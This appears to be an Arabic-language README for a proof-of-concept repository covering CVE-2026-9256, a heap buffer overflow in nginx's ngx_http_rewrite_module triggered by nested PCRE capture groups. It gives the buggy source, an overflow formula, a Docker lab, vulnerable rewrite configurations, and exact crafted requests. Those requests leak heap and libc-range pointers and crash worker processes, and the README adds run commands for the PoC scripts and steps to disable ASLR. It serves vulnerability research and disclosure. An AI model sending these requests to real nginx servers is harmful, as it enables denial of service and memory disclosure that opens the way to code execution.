
يوضح تجاوز سعة المخزن المؤقت للكومة CVE-2026-9256 في ngx_http_rewrite_module الخاص بـ nginx مع سكربتات PoC لتسرب الكومة/libc وتعطل العامل.
يحتوي كل من nginx Plus و nginx مفتوح المصدر ngx_http_rewrite_module على ثغرة تجاوز سعة المخزن المؤقت الكومة. عند استخدام توجيه rewrite مع تعبير نمطي يحتوي على مجموعات التقاط PCRE متداخلة (على سبيل المثال ^/((.*))$) واستبدال يشير إلى عدة التقاطات (على سبيل المثال $1&y=$2)، فإن حساب حجم المخزن المؤقت للمسار الثابت يقلل من المساحة المطلوبة، مما يؤدي إلى تجاوز الكتابة الفعلية للحجم المخصص (Pool Slip).
يمكن للمهاجم غير الموثوق تشغيل ذلك عبر طلب HTTP مصمم، مما يؤدي إلى تجاوز سعة المخزن المؤقت الكومة في عملية العامل. عند تعطيل ASLR أو إمكانية تجاوزه، يصبح تنفيذ التعليمات البرمجية ممكنًا.
الملف: src/http/ngx_http_script.c:1143-1155
if (code->lengths == NULL) {
e->buf.len = code->size;
if (code->uri) {
if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
// BUG: تم حساب تكلفة الهروب مرة واحدة لكامل URI
e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
NGX_ESCAPE_ARGS);
}
}
for (n = 2; n < r->ncaptures; n += 2) {
e->buf.len += r->captures[n + 1] - r->captures[n]; // الطول الخام
}
}
يتم هروب كل $N بشكل مستقل أثناء النسخ (ngx_http_script.c:1397-1401). تسبب الالتقاطات المتداخلة هروب نفس السلسلة الفرعية مرتين، مما يضاعف تكلفة الهروب، لكن التخصيص يحسبها مرة واحدة فقط.
معادلة التجاوز (تداخل من طبقتين ((.+))، Q حرف + في URI):
المخصص = code_size + 2*Q + 2*(Q+1)
الفعلي = code_size + 2*(3*Q + 1)
التجاوز = 2*Q (قابل للتحكم بدقة)
شروط التشغيل (جميعها مطلوبة):
.
├── env/
│ ├── Dockerfile # بناءً على nginx:1.31.0
│ ├── docker-compose.yml # إعداد الحاوية (SYS_PTRACE)
│ ├── entrypoint.sh # ASRL قيد التشغيل (افتراضي)
│ ├── entrypoint_aslr_off.sh # ASLR معطل (من أجل libc_leak)
│ └── nginx.conf # إعداد ضعيف
├── heap_leak.py # برهان إثباتي heap_leak
├── libc_leak.py # برهان إثباتي libc_leak
├── crash_verify.py # برهان إثباتي crash_verify
├── LICENSE
└── README.md
cd env/
# سحب الصورة الأساسية (~200MB)
docker pull nginx:1.31.0
# البناء والبدء
docker compose up --build -d
# التحقق
curl -s http://127.0.0.1:19321/
# المتوقع: ok
# عرض سجلات nginx (معلومات التعطل)
docker compose logs -f
# الإيقاف والإزالة
docker compose down
# إعادة التشغيل (بعد التعطل)
docker compose restart
تحقق من الحالة الحالية:
cat /proc/sys/kernel/randomize_va_space
# 0 = معطل، 1 = جزئي، 2 = كامل
يعمل كل من heap_leak و crash_verify بغض النظر عن ASLR. يتطلب libc_leak تعطيل ASLR على المضيف:
sudo sysctl -w kernel.randomize_va_space=0
docker compose restart
بدلاً من ذلك، قم بتعطيل ASLR فقط لعملية nginx (بدون امتياز مضيف):
انسخ entrypoint_aslr_off.sh على entrypoint.sh، ثم docker compose up --build -d.
ملاحظة: تشترك الحاويات في نواة المضيف. يجب تعيين
randomize_va_spaceعلى المضيف.
الإعداد المطلوب:
location /echo/ {
rewrite ^/echo/((.+))$ /show?x=$1&y=$2 last;
}
location /show {
internal;
default_type text/plain;
return 200 "x=$arg_x\ny=$arg_y\n";
}
الآلية: يتسبب Pool Slip في هبوط ngx_pcalloc(r->pool, sizeof(ngx_http_script_engine_t)) في منطقة التجاوز. الحقول المهيأة لمحرك البرنامج النصي (e->ip, e->sp, e->request) تتسرب إلى سلسلة الاستعلام الخاصة بـ URI المعاد كتابتها وتنعكس عبر return 200 "$arg_y".
الطلب:
GET /echo/%25%25%25%25%25A HTTP/1.0
النتيجة المؤكدة (nginx:1.31.0، ASLR قيد التشغيل):
e->ip = 0x00006544dec82430 (مصفوفة الرموز في كومة التهيئة)
e->sp = 0x00006544dec5ada0 (مكدس البرنامج النصي في كومة الطلب)
e->request = 0x00006544dec58880 (هيكل الطلب)
ما يتسرب: مؤشرات كومة خام ضمن مساحة عنوان عامل nginx.
البرهان الإثباتي: heap_leak.py
الإعداد المطلوب:
location /leak2/ {
rewrite ^/leak2/((.+))$ /proxy-leak?x=$1&y=$2 last;
}
location /proxy-leak {
internal;
proxy_pass http://backend; # يجب أن يكون قابلاً للوصول
add_header X-Leak-Y "$arg_y" always;
}
الآلية: يُفعّل proxy_pass تهيئة الخادم العلوي. يتم تخصيص هياكل الخادم العلوي التي تحتوي على مؤشرات دوال المكتبة في منطقة التجاوز. يكتب add_header "$arg_y" البايتات الخام في رأس الاستجابة.
الطلب:
GET /leak2/%25%25...(~40 x %25)...A HTTP/1.0
النتيجة المؤكدة (nginx:1.31.0، ASLR معطل، request_pool_size=7920):
leaked ptr = 0x00007fbfc3b7c346
ما يتسرب: مؤشر خام في نطاق 0x7f... (منطقة تحميل libc). لحساب قاعدة libc، اقرأ /proc/<pid>/maps على الهدف واحسب leaked_ptr - libc_base.
الاعتماد على ASLR: تتطلب هذه المرحلة تعطيل ASLR. ينشأ المؤشر المتسرب من بيانات تعريف الكتلة المحررة (fd/bk → main_arena). مع تشغيل ASLR، يختلف إزاحة الكتلة المحررة ولا تستطيع التجاوزات الصغيرة الوصول إليها بشكل موثوق.
البرهان الإثباتي: libc_leak.py
بديل أبسط: باستخدام وضع
redirect(rewrite ^/r/((.*))$ http://.../?$1$2 redirect;)، يعرض رأسLocationمباشرة البايتات الخام المتجاوزة بدون مشاكل ترميز الأحرف. يمكن لطلب واحد تسريب مؤشرات كومة (Q=10~450) أو التسبب في تعطل (Q >= 500)، دون حاجة إلى proxy_pass أو pool_size خاص.
الإعداد المطلوب:
location /leak9/ {
rewrite ^/leak9/(((((((((.+)))))))))$ /show9?a=$1&b=$2&c=$3&d=$4&e=$5&f=$6&g=$7&h=$8&i=$9 last;
}
location /show9 {
internal;
default_type text/plain;
return 200 "i=$arg_i\n";
}
الآلية: ينتج عن التداخل من 9 طبقات تجاوز = 16Q (مقابل 2Q للطبقتين). عند request_pool_size=7920، يخرج Q=123 عن حدود كتلة التجمع، مما يكتب فوق بيانات تعريف الكتلة malloc المجاورة. يكتشف glibc التلف ويُنهي العامل. يعيد المشرف التلقائي التشغيل.
الطلب:
GET /leak9/%2b%2b...(123 x %2b)...A HTTP/1.0
النتيجة المؤكدة (nginx:1.31.0، request_pool_size=7920):
Q=122: استجابة عادية (التجاوز=1952B)
Q=123: لا استجابة، nginx error.log:
corrupted size vs. prev_size
worker process XX exited on signal 6 (core dumped)
تم التكرار 5/5 مرات.
التداخل مقابل حجم التجمع: تنتج N طبقة تجاوز = (N-1)*2*Q. حجم التجمع الافتراضي 4096 مع تداخل 9 طبقات يكفي للتعطل. حجم التجمع الأكبر يتطلب طبقات أقل لـ Q معين.
البرهان الإثباتي: crash_verify.py
# المرحلة 1: تسرب مؤشر الكومة
python3 heap_leak.py 127.0.0.1 19321
# المرحلة 2: تسرب مؤشر نطاق libc (يتطلب تعطيل ASLR)
python3 libc_leak.py 127.0.0.1 19321
# المرحلة 3: تعطل رفض الخدمة
python3 crash_verify.py 127.0.0.1 19321
تم تقديم هذا البرهان الإثباتي للأغراض التعليمية والبحث الأمني المصرح به فقط. الاستخدام غير المصرح به محظور.
| الشرط | التفصيل |
|---|
لا متغيرات مسماة، ولا تكرار $N | مسار ثابت (sc.variables==0 && !sc.dup_capture) |
| مجموعة التقاط متداخلة في التعبير النمطي | على سبيل المثال ((.+)) يجعل $1 و $2 يطابقان نفس المحتوى |
وجود + أو %XX في URI | يؤدي إلى تفعيل مسار الهروب (plus_in_uri أو quoted_uri) |